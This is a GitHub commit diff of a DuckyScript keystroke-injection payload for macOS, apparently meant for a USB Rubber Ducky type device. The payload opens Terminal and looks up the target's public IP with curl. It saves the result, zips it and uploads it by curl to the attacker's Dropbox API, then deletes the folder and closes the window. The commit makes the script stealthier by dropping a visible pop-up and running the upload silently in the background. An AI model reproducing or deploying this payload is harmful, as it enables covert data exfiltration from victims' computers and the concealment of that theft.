Skip to content

Commit 9eb4500

Browse files
authored
Update Public I.P. Finder to Dropbox.txt
1 parent 93e5120 commit 9eb4500

1 file changed

Lines changed: 17 additions & 18 deletions

File tree

Lines changed: 17 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
REM Description: Uses Mac Terminals config.me command to do a PUBLIC I.P. lookup
2-
REM displays the results in a pop up window & Saves the data to a folder on the desktop
2+
REM Saves the data to a folder on the desktop
33
REM Then proceeds to upload the I.P. data to your API dropbox
44
REM removes the folder on the desktop and closes the terminal
55
REM Replace <API access token here> with your actual Dropbox API access token
@@ -21,40 +21,39 @@ DELAY 500
2121
STRING terminal
2222
DELAY 1000
2323
ENTER
24+
DELAY 2000
25+
STRING public_ip=$(curl -s ifconfig.me);
2426
DELAY 500
25-
STRING curl -s ifconfig.me; echo
26-
DELAY 500
27-
ENTER
28-
DELAY 500
29-
STRING public_ip=$(curl -s ifconfig.me); osascript -e "tell app \"System Events\" to display dialog \"I FOUND YOU: $public_ip\" with title \"Public IP Address\""
3027
ENTER
3128
DELAY 3000
32-
ENTER
33-
DELAY 500
34-
GUI SPACE
35-
DELAY 500
36-
STRING terminal
37-
DELAY 1000
38-
ENTER
39-
DELAY 500
4029
STRING mkdir ~/Desktop/"Public I.P. Data" && echo "Your TARGETS IP address is: $public_ip" > ~/Desktop/"Public I.P. Data"/public_ip.txt
4130
DELAY 1000
4231
ENTER
4332
DELAY 500
4433
STRING echo 'cd ~/Desktop/"Public I.P. Data" && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer API ACCESS TOKEN HERE" -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh
4534
DELAY 2000
4635
ENTER
47-
DELAY 2500
48-
ENTER
36+
DELAY 500
4937
STRING chmod +x upload.sh
5038
ENTER
5139
DELAY 500
52-
STRING ./upload.sh
40+
STRING nohup ./upload.sh >/dev/null 2>&1 &
41+
DELAY 500
5342
ENTER
54-
DELAY 3000
43+
DELAY 1000
5544
STRING rm -rf ~/Desktop/"Public I.P. Data"
5645
DELAY 500
46+
ENTER
47+
DELAY 500
48+
STRING CLEAR
49+
DELAY 500
50+
ENTER
51+
DELAY 500
5752
GUI w
53+
DELAY 500
54+
ENTER
55+
56+
5857

5958

6059

0 commit comments

Comments
 (0)